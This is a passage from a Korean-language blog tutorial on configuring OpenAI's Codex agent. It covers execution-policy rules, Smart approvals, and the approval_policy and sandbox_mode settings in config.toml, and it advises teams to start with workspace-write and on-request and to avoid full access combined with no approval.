&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;허용하려는 wrapper가 아니라 실제 하위 명령을 기준으로 검사했는가?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;삭제, reset, 배포, secret 출력처럼 되돌리기 어려운 명령은 좁은 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;forbidden&lt;/code&gt; 규칙을 먼저 두었는가?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex execpolicy check&lt;/code&gt;로 허용&amp;middot;확인&amp;middot;차단 결과를 실제 명령 문자열로 확인했는가?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;새 규칙을 넣은 뒤 Codex를 재시작해 스캔 시점을 맞췄는가?&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;TUI에서 어떤 명령을 허용 목록에 추가하면 Codex는 사용자 레이어의 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;~/.codex/rules/default.rules&lt;/code&gt;에 기록해 다음 실행에서 같은 확인을 줄일 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 14px 18px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 16px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Smart approvals란?&lt;/b&gt; &amp;mdash; 신뢰도 높은 작업은 매번 사람이 승인하지 않아도 자동으로 통과시키는 Codex의 승인 정책 기능이다. SSH의 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.9em;&quot;&gt;authorized_keys&lt;/code&gt;처럼, 한 번 신뢰 등록된 명령은 매번 승인 없이 자동으로 통과하는 방식이다.&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;Smart approvals가 켜져 있으면 Codex가 승인 요청 중에 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.9em;&quot;&gt;prefix_rule&lt;/code&gt;을 제안할 수도 있다. 편하긴 하지만, 제안된 prefix가 너무 넓으면 의도보다 많은 명령을 허용할 수 있으므로 적용 전에 좁게 잡혔는지 확인해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Smart approvals가 켜져 있으면 Codex가 승인 요청 중에 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;prefix_rule&lt;/code&gt;을 제안할 수도 있다. 편하긴 하지만, 제안된 prefix가 너무 넓으면 의도보다 많은 명령을 허용할 수 있으므로 적용 전에 꼭 좁게 잡혔는지 확인해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;border-left: 6px solid #5c7cfa; padding: 16px 20px; background-color: #f3f0ff; border-radius: 8px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Rules 작성 순서: 금지 &amp;rarr; 확인 &amp;rarr; 허용&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;파일시스템 삭제, Git 기록 변경, 시크릿 출력처럼 되돌리기 어려운 명령을 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;forbidden&lt;/code&gt;으로 먼저 나열하고, 그 다음에 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;prompt&lt;/code&gt;와 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;allow&lt;/code&gt;를 추가한다.&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;허용 규칙이 많아지면 패턴이 넓어지기 쉽다. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;codex execpolicy check&lt;/code&gt;로 실제 명령 문자열을 넣어 검사하는 습관이 이 문제를 막는 가장 간단한 방법이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section5&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. config.toml 핵심 설정&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin: 8px 0 16px; color: #444;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심:&lt;/b&gt; config.toml은 모델&amp;middot;승인 정책&amp;middot;샌드박스 수준을 팀 전체에 통일하는 설정 파일이다. 처음에는 기본값 그대로 써도 된다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;1440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cQBq3b/dJMcahYFzqJ/KQqySVcjNqHyYYxiyTOZLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cQBq3b/dJMcahYFzqJ/KQqySVcjNqHyYYxiyTOZLk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cQBq3b/dJMcahYFzqJ/KQqySVcjNqHyYYxiyTOZLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcQBq3b%2FdJMcahYFzqJ%2FKQqySVcjNqHyYYxiyTOZLk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2560&quot; height=&quot;1440&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;1440&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;프로젝트 헌법(AGENTS.md)과 시행령(Rules)이 준비됐다면, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;config.toml&lt;/code&gt;은 이 모든 규칙이 실제로 집행되는 환경 자체를 설정한다. 어떤 모델에서 실행할지, 승인 없이 진행할 수 있는 범위는 어디까지인지, 파일 시스템 접근 울타리는 어떻게 치는지를 정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;config.toml&lt;/code&gt;은 Codex의 기본 실행 환경을 정하는 파일이다. 어떤 모델을 쓸지, 명령 실행 전에 승인을 받을지, 파일을 어디까지 수정할 수 있게 할지 같은 값을 여기서 정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/config-basic&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Config basics 문서&lt;/a&gt;에 따르면 사용자 전역 설정은 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;~/.codex/config.toml&lt;/code&gt;에 두고, 프로젝트별 설정은 저장소 안의 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.codex/config.toml&lt;/code&gt;에 둔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로젝트 안의 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.codex/&lt;/code&gt; 설정은 신뢰된 프로젝트에서만 로드된다. 프로젝트를 신뢰하지 않음으로 표시하면 프로젝트 로컬 config, hooks, rules는 건너뛰고 사용자/시스템 설정만 로드된다.&lt;/p&gt;
&lt;pre class=&quot;ini&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;ini&quot;&gt;&lt;code&gt;# .codex/config.toml &amp;mdash; 팀 공유 기본 설정 예시
# model 값은 공식 문서(developers.openai.com/codex/config-reference) 기준으로 확인한다.
# 아래는 구조 예시이므로 실제 모델명은 최신 문서를 참고한다.
approval_policy = &quot;on-request&quot;
sandbox_mode = &quot;workspace-write&quot;
default_permissions = &quot;workspace&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #0066cc; margin: 18px 0;&quot;&gt;&lt;b&gt;줄별 해설 &amp;mdash; 빠뜨리거나 잘못 설정하면 생기는 일&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;model&lt;/b&gt;: 생략하면 Codex 기본 모델로 실행된다. 팀 전체가 같은 모델을 쓰려면 명시하는 것이 낫다. 모델에 따라 컨텍스트 길이와 비용이 다르므로, 긴 코드베이스 작업이라면 미리 확인해야 한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;approval_policy&lt;/b&gt;: &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;&quot;never&quot;&lt;/code&gt;로 두면 모든 명령이 승인 없이 실행된다. CI 환경처럼 외부 격리가 확실한 곳이 아니라면 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;&quot;on-request&quot;&lt;/code&gt;가 팀 기본값으로 적합하다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;sandbox_mode&lt;/b&gt;: &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;&quot;danger-full-access&quot;&lt;/code&gt;는 이름 그대로 샌드박스를 끈다. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;approval_policy = &quot;never&quot;&lt;/code&gt;와 함께 쓰면 완전 자동 전체 접근이 된다. 처음 설정할 때는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;&quot;workspace-write&quot;&lt;/code&gt;에서 시작한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;default_permissions&lt;/b&gt;: 생략하면 Codex가 기본 권한 프로필로 실행된다. 프로젝트마다 다른 접근 범위가 필요하다면 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;.codex/config.toml&lt;/code&gt;에 별도로 두고 저장소에 커밋한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자주 조정하는 값은 세 가지다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;approval_policy&lt;/code&gt;로 자동 승인 범위를 정한다. Codex가 명령 실행 전에 언제 멈춰서 사람 확인을 받을지 결정하는 값이다. 팀 기본값으로는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;&quot;on-request&quot;&lt;/code&gt;가 무난하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;sandbox_mode&lt;/code&gt;는 파일 시스템 접근 허용 범위를 조정한다. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;&quot;workspace-write&quot;&lt;/code&gt;는 작업 디렉토리 안 쓰기를 허용하고, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;&quot;danger-full-access&quot;&lt;/code&gt;는 샌드박스를 끈다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음 설정이라면 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;&quot;workspace-write&quot;&lt;/code&gt;에서 시작한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;default_permissions&lt;/code&gt;는 팀 기본 권한 프로필을 덮어쓸 때 쓴다. 프로젝트마다 접근 범위가 다르다면 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.codex/config.toml&lt;/code&gt;에 별도로 두고 저장소에 커밋하면 팀 전체에 공유된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 보안 문서는 기본적으로 네트워크 접근이 꺼져 있고, 로컬 Codex는 OS 수준 샌드박스와 승인 정책을 함께 사용한다고 설명한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;default_permissions&lt;/code&gt;는 샌드박스 모드 자체라기보다 재사용 가능한 권한 프로필을 고르는 값이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 공식 문서 기준으로는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;sandbox_mode = &quot;read-only&quot;&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;workspace-write&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;danger-full-access&lt;/code&gt; 같은 sandbox mode와 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;default_permissions = &quot;workspace&quot;&lt;/code&gt; 같은 permission profile을 구분해서 읽는 것이 안전하다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;설정&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;의미&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;실전 기준&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;approval_policy = &quot;untrusted&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;더 제한적인 승인 흐름&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;낯선 저장소, 위험한 자동화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;approval_policy = &quot;on-request&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;필요할 때 승인 요청&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;일반적인 팀 개발 기본값&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;approval_policy = &quot;never&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;승인 없이 진행&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;격리된 환경에서만 신중히 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;sandbox_mode = &quot;read-only&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;읽기 중심 작업&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;리뷰, 조사, 구조 파악&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;sandbox_mode = &quot;workspace-write&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;작업공간 쓰기 허용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;일반적인 기능 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;sandbox_mode = &quot;danger-full-access&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;샌드박스 비활성화&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;외부 격리가 이미 있는 특수 환경&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주의할 점도 있다. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;workspace-write&lt;/code&gt;라고 해서 작업공간 안의 모든 경로가 항상 쓰기 가능한 것은 아니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 보안 문서는 기본 정책에서 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.git&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.codex&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.agents&lt;/code&gt; 같은 보호 경로가 읽기 전용으로 남을 수 있다고 설명한다. 그래서 Git 커밋이나 Codex 설정 파일 변경은 별도 승인이 필요할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fdecea; padding: 20px; border-radius: 12px; border-left: 5px solid #dc3545; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;특히 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;sandbox_mode = &quot;danger-full-access&quot;&lt;/code&gt;와 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;approval_policy = &quot;never&quot;&lt;/code&gt;를 함께 쓰면 사실상 전체 접근 + 승인 없음 조합이 된다. 공식 문서는 파일 수정과 명령 실행을 자동화하려는 중간 지점으로 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;workspace-write&lt;/code&gt;와 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;on-request&lt;/code&gt; 조합을 예로 든다. 초심자나 일반 팀 개발 환경이라면 이 조합부터 시작하는 게 낫다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음 팀 규칙을 도입할 때는 단순한 문자열 정책으로 시작한다. 실제로 막히는 지점이 보이면 그때 조금씩 세분화해도 늦지 않다.&lt;/p&gt;
&lt;details style=&quot;margin: 12px 0; background: #f8f9fa; border: 1px solid #dee2e6; border-radius: 8px; padding: 12px 16px;&quot;&gt;
&lt;summary style=&quot;cursor: pointer; font-weight: bold; color: #495057;&quot;&gt;고급 옵션 &amp;mdash; granular 승인 정책 (처음 도입할 때는 건너뛰어도 됩니다)&lt;/summary&gt;
&lt;p style=&quot;margin: 10px 0 6px;&quot; data-ke-size=&quot;size16&quot;&gt;승인 정책을 더 잘게 나누는 방식도 가능하다. 샌드박스 밖으로 나가는 명령은 확인을 받고, Rules 검사는 켜 두고, 별도 권한 요청은 막는 식으로 나눌 수 있다. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.9em;&quot;&gt;granular&lt;/code&gt;는 이렇게 잘게 나눈다는 뜻이다. (&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/config-advanced&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Advanced Configuration 문서&lt;/a&gt; 참조 &amp;mdash; 실제 팀 설정 전에 최신 필드 목록을 확인한다.)&lt;/p&gt;
&lt;pre class=&quot;nix&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 14px 16px; border-radius: 6px; font-family: 'Fira Code', monospace; font-size: 13px; margin: 8px 0; overflow-x: auto;&quot;&gt;&lt;code&gt;approval_policy = { granular = {
  sandbox_approval = true,
  rules = true,
  mcp_elicitations = true,
  request_permissions = false,
  skill_approval = false
} }&lt;/code&gt;&lt;/pre&gt;
&lt;/details&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section6&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 여러 규칙이 충돌할 때&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin: 8px 0 16px; color: #444;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심:&lt;/b&gt; 구체적인 규칙이 일반적인 규칙을 이긴다. 하위 디렉토리 설정이 루트보다, AGENTS.override.md가 AGENTS.md보다 먼저 적용된다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;1440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dnPyyg/dJMcaiDgWAY/8rWTSpNVRhfVIW0ZN2Whdk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dnPyyg/dJMcaiDgWAY/8rWTSpNVRhfVIW0ZN2Whdk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dnPyyg/dJMcaiDgWAY/8rWTSpNVRhfVIW0ZN2Whdk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdnPyyg%2FdJMcaiDgWAY%2F8rWTSpNVRhfVIW0ZN2Whdk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2560&quot; height=&quot;1440&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;1440&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;AGENTS.md, .rules, config.toml은 각각 다른 층위에서 동작한다. 어떤 설정이 어떤 설정을 덮어쓰는지 한눈에 보면 이렇다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; border-left: 4px solid #6c757d; padding: 12px 16px; margin: 16px 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;설정 우선순위 (높음 &amp;rarr; 낮음)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 14px 16px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.8; overflow-x: auto; margin: 0;&quot;&gt;&lt;code&gt;CLI 플래그 / --config 직접 지정  &amp;larr; 실행 시점에 가장 강하게 적용
──────────────────────────────────
config.toml (프로젝트 .codex/)   &amp;larr; 권한&amp;middot;샌드박스 정책, 팀 기본 실행 환경
AGENTS.override.md               &amp;larr; 특정 폴더에서만 AGENTS.md를 덮어쓰는 로컬 예외
AGENTS.md (저장소 루트)          &amp;larr; 프로젝트 전체 팀 규칙 (자연어 지침)
.rules                           &amp;larr; 셸 명령 허용&amp;middot;확인&amp;middot;차단 (실행 정책)
~/.codex/config.toml             &amp;larr; 사용자 전역 기본값 (개인 설정)&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 10px 0 0; color: #555; font-size: 14px;&quot; data-ke-size=&quot;size16&quot;&gt;규칙이 충돌하면 더 제한적인 결정이 적용된다. Rules에서 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;forbidden &amp;gt; prompt &amp;gt; allow&lt;/code&gt; 순서가 대표적인 예다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6.1 AGENTS.md 우선순위&lt;/h3&gt;
